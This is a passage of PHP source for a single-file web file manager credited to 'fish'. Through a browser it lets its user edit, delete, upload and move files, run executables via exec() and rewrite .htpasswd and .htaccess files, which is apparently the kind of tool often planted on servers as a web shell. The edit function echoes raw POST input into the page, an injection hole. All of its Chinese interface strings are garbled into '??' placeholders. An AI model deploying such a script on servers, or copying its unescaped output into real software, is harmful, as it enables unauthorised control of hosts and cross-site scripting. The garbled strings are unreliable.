  889. echo "</td>\n";
  890. if (array_key_exists('owner_name', $file)) {
  891. echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
  892. } else {
  893. echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
  894. }
  895. if (array_key_exists('group_name', $file)) {
  896. echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
  897. } else {
  898. echo "\t<td class=\"group\">{$file['group']}</td>\n";
  899. }
  900. }
  901. echo ' <td class="functions">
  902. <input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
  903. ';
  904. $actions = array();
  905. if (function_exists('symlink')) {
  906. $actions[] = 'create_symlink';
  907. }
  908. if (@is_writable(dirname($file['path']))) {
  909. $actions[] = 'delete';
  910. $actions[] = 'rename';
  911. $actions[] = 'move';
  912. }
  913. if ($file['is_file'] && $file['is_readable']) {
  914. $actions[] = 'copy';
  915. $actions[] = 'download';
  916. if ($file['is_writable']) $actions[] = 'edit';
  917. }
  918. if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
  919. $actions[] = 'execute';
  920. }
  921. if (sizeof($actions) > 0) {
  922. echo ' <select class="small" name="action' . $i . '" size="1">
  923. <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  924. ';
  925. foreach ($actions as $action) {
  926. echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  927. }
  928. echo ' </select>
  929. <input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
  930. ';
  931. }
  932. echo ' </td>
  933. </tr>
  934. ';
  935. }
  936. echo '<tr class="listing_footer">
  937. <td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
  938. <td colspan="' . ($cols - 1) . '">
  939. <input type="hidden" name="num" value="' . sizeof($list) . '" />
  940. <input type="hidden" name="focus" value="" />
  941. <input type="hidden" name="olddir" value="' . html($directory) . '" />
  942. ';
  943. $actions = array();
  944. if (@is_writable(dirname($file['path']))) {
  945. $actions[] = 'delete';
  946. $actions[] = 'move';
  947. }
  948. $actions[] = 'copy';
  949. echo ' <select class="small" name="action_all" size="1">
  950. <option value="">' . str_repeat('&nbsp;', 30) . '</option>
  951. ';
  952. foreach ($actions as $action) {
  953. echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
  954. }
  955. echo ' </select>
  956. <input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
  957. </td>
  958. </tr>
  959. ';
  960. }
  961. function column_title ($column, $sort, $reverse) {
  962. global $self, $directory;
  963. $d = 'dir=' . urlencode($directory) . '&amp;';
  964. if ($sort == $column) {
  965. if (!$reverse) {
  966. $r = '&amp;reverse=true';
  967. $arr = ' &and;';
  968. } else {
  969. $arr = ' &or;';
  970. }
  971. } else {
  972. $r = '';
  973. }
  974. echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
  975. }
  976. function directory_choice () {
  977. global $directory, $homedir, $cols, $self;
  978. echo '<tr>
  979. <td colspan="' . $cols . '" id="directory">
  980. <a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
  981. <input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
  982. <input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
  983. </td>
  984. </tr>
  985. ';
  986. }
  987. function upload_box () {
  988. global $cols;
  989. echo '<tr>
  990. <td colspan="' . $cols . '" id="upload">
  991. ' . word('file') . ':
  992. <input type="file" name="upload" onfocus="activate(\'other\')" />
  993. <input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
  994. </td>
  995. </tr>
  996. ';
  997. }
  998. function create_box () {
  999. global $cols;
  1000. echo '<tr>
  1001. <td colspan="' . $cols . '" id="create">
  1002. <select name="create_type" size="1" onfocus="activate(\'create\')">
  1003. <option value="file">' . word('file') . '</option>
  1004. <option value="directory">' . word('directory') . '</option>
  1005. </select>
  1006. <input type="text" name="create_name" onfocus="activate(\'create\')" />
  1007. <input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
  1008. </td>
  1009. </tr>
  1010. ';
  1011. }
  1012. function edit ($file) {
  1013. global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
  1014. html_header();
  1015. echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
  1016. <form action="' . $self . '" method="post">
  1017. <table class="dialog">
  1018. <tr>
  1019. <td class="dialog">
  1020. <textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
  1021. if (array_key_exists('content', $_POST)) {
  1022. echo $_POST['content'];
  1023. } else {
  1024. $f = fopen($file, 'r');
  1025. while (!feof($f)) {
  1026. echo html(fread($f, 8192));
  1027. }
  1028. fclose($f);
  1029. }
  1030. if (!empty($_POST['user'])) {
  1031. echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
  1032. }
  1033. if (!empty($_POST['basic_auth'])) {
  1034. if ($win) {
  1035. $authfile = str_replace('\\', '/', $directory) . $htpasswd;
  1036. } else {
  1037. $authfile = $directory . $htpasswd;
  1038. }
  1039. echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
  1040. echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
  1041. echo 'Require valid-user';
  1042. }
  1043. echo '</textarea>
  1044. <hr />
  1045. ';
  1046. if ($apache && basename($file) == $htpasswd) {
  1047. echo '
  1048. ' . word('user') . ': <input type="text" name="user" />
  1049. ' . word('password') . ': <input type="password" name="password" />
  1050. <input type="submit" value="' . word('add') . '" />
  1051. <hr />
  1052. ';
  1053. }
  1054. if ($apache && basename($file) == $htaccess) {
  1055. echo '
  1056. <input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
  1057. <hr />
  1058. ';
  1059. }
  1060. echo '
  1061. <input type="hidden" name="action" value="edit" />
  1062. <input type="hidden" name="file" value="' . html($file) . '" />
  1063. <input type="hidden" name="dir" value="' . html($directory) . '" />
  1064. <input type="reset" value="' . word('reset') . '" id="red_button" />
  1065. <input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
  1066. </td>
  1067. </tr>
  1068. </table>
  1069. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
  1070. </form>
  1071. ';
  1072. html_footer();
  1073. }
  1074. function spacer () {
  1075. global $cols;
  1076. echo '<tr>
  1077. <td colspan="' . $cols . '" style="height: 1em"></td>
  1078. </tr>
  1079. ';
  1080. }
  1081. function textfieldsize ($content) {
  1082. $size = strlen($content) + 5;
  1083. if ($size < 30) $size = 30;
  1084. return $size;
  1085. }
  1086. function request_dump () {
  1087. foreach ($_REQUEST as $key => $value) {
  1088. echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
  1089. }
  1090. }
  1091. /* ------------------------------------------------------------------------- */
  1092. function html ($string) {
  1093. global $site_charset;
  1094. return htmlentities($string, ENT_COMPAT, $site_charset);
  1095. }
  1096. function word ($word) {
  1097. global $words, $word_charset;
  1098. return htmlentities($words[$word], ENT_COMPAT, $word_charset);
  1099. }
  1100. function phrase ($phrase, $arguments) {
  1101. global $words;
  1102. static $search;
  1103. if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
  1104. for ($i = 0; $i < sizeof($arguments); $i++) {
  1105. $arguments[$i] = nl2br(html($arguments[$i]));
  1106. }
  1107. $replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
  1108. return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
  1109. }
  1110. function getwords ($lang) {
  1111. global $word_charset, $date_format;
  1112. switch ($lang) {
  1113. case 'cn':
  1114. default:
  1115. $date_format = 'n/j/y H:i:s';
  1116. $word_charset = 'gb2312';
  1117. return array(
  1118. 'directory' => '??',
  1119. 'file' => '??',
  1120. 'filename' => '???',
  1121. 'size' => '??',
  1122. 'permission' => '??',
  1123. 'owner' => '???',
  1124. 'group' => '???',
  1125. 'other' => '??',
  1126. 'functions' => '??',
  1127. 'read' => '??',
  1128. 'write' => '??',
  1129. 'execute' => '???',
  1130. 'create_symlink' => '?? symlink',
  1131. 'delete' => '??',
  1132. 'rename' => '???',
  1133. 'move' => '??',
  1134. 'copy' => '??',
  1135. 'edit' => '??',
  1136. 'download' => '??',
  1137. 'upload' => '??',
  1138. 'create' => '??',
  1139. 'change' => '??',
  1140. 'save' => '??',
  1141. 'set' => '??',
  1142. 'reset' => '???',
  1143. 'relative' => '??????',
  1144. 'yes' => '?',
  1145. 'no' => '?',
  1146. 'back' => '??',
  1147. 'destination' => '???',
  1148. 'symlink' => 'Symlink',
  1149. 'no_output' => '???',
  1150. 'user' => '??',
  1151. 'password' => '??',
  1152. 'add' => '??',
  1153. 'add_basic_auth' => '??basic-authentification',
  1154. 'uploaded' => '"[%1]" ??????',
  1155. 'not_uploaded' => '"[%1]" ?????',
  1156. 'already_exists' => '"[%1]" ???.',
  1157. 'created' => '"[%1]" ????',
  1158. 'not_created' => '"[%1]" ?????',
  1159. 'really_delete' => '?????????',
  1160. 'deleted' => "?????????:\n[%1]",
  1161. 'not_deleted' => "?????????:\n[%1]",
  1162. 'rename_file' => '?????:',
  1163. 'renamed' => '"[%1]" ????? "[%2]".',
  1164. 'not_renamed' => '"[%1] ?????? "[%2]".',
  1165. 'move_files' => '??????:',
  1166. 'moved' => "????????? \"[%2]\":\n[%1]",
  1167. 'not_moved' => "?????????? \"[%2]\":\n[%1]",
  1168. 'copy_files' => '??????:',
  1169. 'copied' => "?????????? \"[%2]\":\n[%1]",
  1170. 'not_copied' => "????????? \"[%2]\":\n[%1]",
  1171. 'not_edited' => '"[%1]" ??????',
  1172. 'executed' => "\"[%1]\" ?????:\n{%2}",
  1173. 'not_executed' => "\"[%1]\" ??????:\n{%2}",
  1174. 'saved' => '"[%1]" ????.',
  1175. 'not_saved' => '"[%1]" ????.',
  1176. 'symlinked' => 'Symlink ? "[%2]" ? "[%1]" ????.',
  1177. 'not_symlinked' => 'Symlink ? "[%2]" ? "[%1]" ????.',
  1178. 'permission_for' => '?? "[%1]":',
  1179. 'permission_set' => '?? "[%1]" ???? [%2].',
  1180. 'permission_not_set' => 'P?? "[%1]" ?????? [%2].',
  1181. 'not_readable' => '"[%1]" ????'
  1182. );
  1183. }
  1184. }
  1185. function getimage ($image) {
  1186. switch ($image) {
  1187. case 'file':
  1188. return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1189. case 'folder':
  1190. return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  1191. case 'hidden_file':
  1192. return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1193. case 'link':
  1194. return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  1195. case 'smiley':
  1196. return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  1197. case 'arrow':
  1198. return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  1199. }
  1200. }
  1201. function html_header () {
  1202. global $site_charset;
  1203. echo <<<END
  1204. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1205. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1206. <html xmlns="http://www.w3.org/1999/xhtml">
  1207. <head>
  1208. <meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
  1209. <title>??????--fish?????</title>
  1210. <style type="text/css">
  1211. body { font: small sans-serif; text-align: center }
  1212. img { width: 17px; height: 13px }
  1213. a, a:visited { text-decoration: none; color: navy }
  1214. hr { border-style: none; height: 1px; background-color: silver; color: silver }
  1215. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  1216. #main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
  1217. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  1218. .listing th { border: 1px solid silver }
  1219. .listing td { border: 1px solid #ddd; background: white }
  1220. .listing .checkbox { text-align: center }
  1221. .listing .filename { text-align: left }
  1222. .listing .size { text-align: right }
  1223. .listing th.permission { text-align: left }
  1224. .listing td.permission { font-family: monospace }
  1225. .listing .owner { text-align: left }
  1226. .listing .group { text-align: left }
  1227. .listing .functions { text-align: left }
  1228. .listing_footer td { background: #eee; border: 1px solid silver }
  1229. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  1230. #directory { background: #eee; border: 1px solid silver }
  1231. #upload { padding-top: 1em }
  1232. #create { padding-bottom: 1em }
  1233. .small, .small option { font-size: x-small }
  1234. textarea { border: none; background: white }
  1235. table.dialog { margin-left: auto; margin-right: auto }
  1236. td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  1237. #permission { margin-left: auto; margin-right: auto }
  1238. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  1239. td.permission_action { text-align: right }
  1240. #symlink { background: #eee; border: 1px solid silver }
  1241. #symlink td { text-align: left; padding: 3pt }
  1242. #red_button { width: 120px; color: #400 }
  1243. #green_button { width: 120px; color: #040 }
  1244. #error td { background: maroon; color: white; border: 1px solid silver }
  1245. #notice td { background: green; color: white; border: 1px solid silver }
  1246. #notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  1247. code { font-size: 12pt }
  1248. td { white-space: nowrap }
  1249. </style>
  1250. <script type="text/javascript">
  1251. <!--
  1252. function activate (name) {
  1253. if (document && document.forms[0] && document.forms[0].elements['focus']) {
  1254. document.forms[0].elements['focus'].value = name;
  1255. }
  1256. }
  1257. //-->
  1258. </script>
  1259. </head>
  1260. <body>
  1261. END;
  1262. }
  1263. function html_footer () {
  1264. echo <<<END
  1265. ?<a href="mailto:qq37479055@126.com">fish</a>????<a href="http://www.mydf.cn" target="_blank">www.mydf.cn</a>
  1266. </body>
  1267. </html>
  1268. END;
  1269. }
  1270. function notice ($phrase) {
  1271. global $cols;
  1272. $args = func_get_args();
  1273. array_shift($args);
  1274. return '<tr id="notice">
  1275. <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  1276. </tr>
  1277. ';
  1278. }
  1279. function error ($phrase) {
  1280. global $cols;
  1281. $args = func_get_args();
  1282. array_shift($args);
  1283. return '<tr id="error">
  1284. <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  1285. </tr>
  1286. ';
  1287. }
  1288. ?>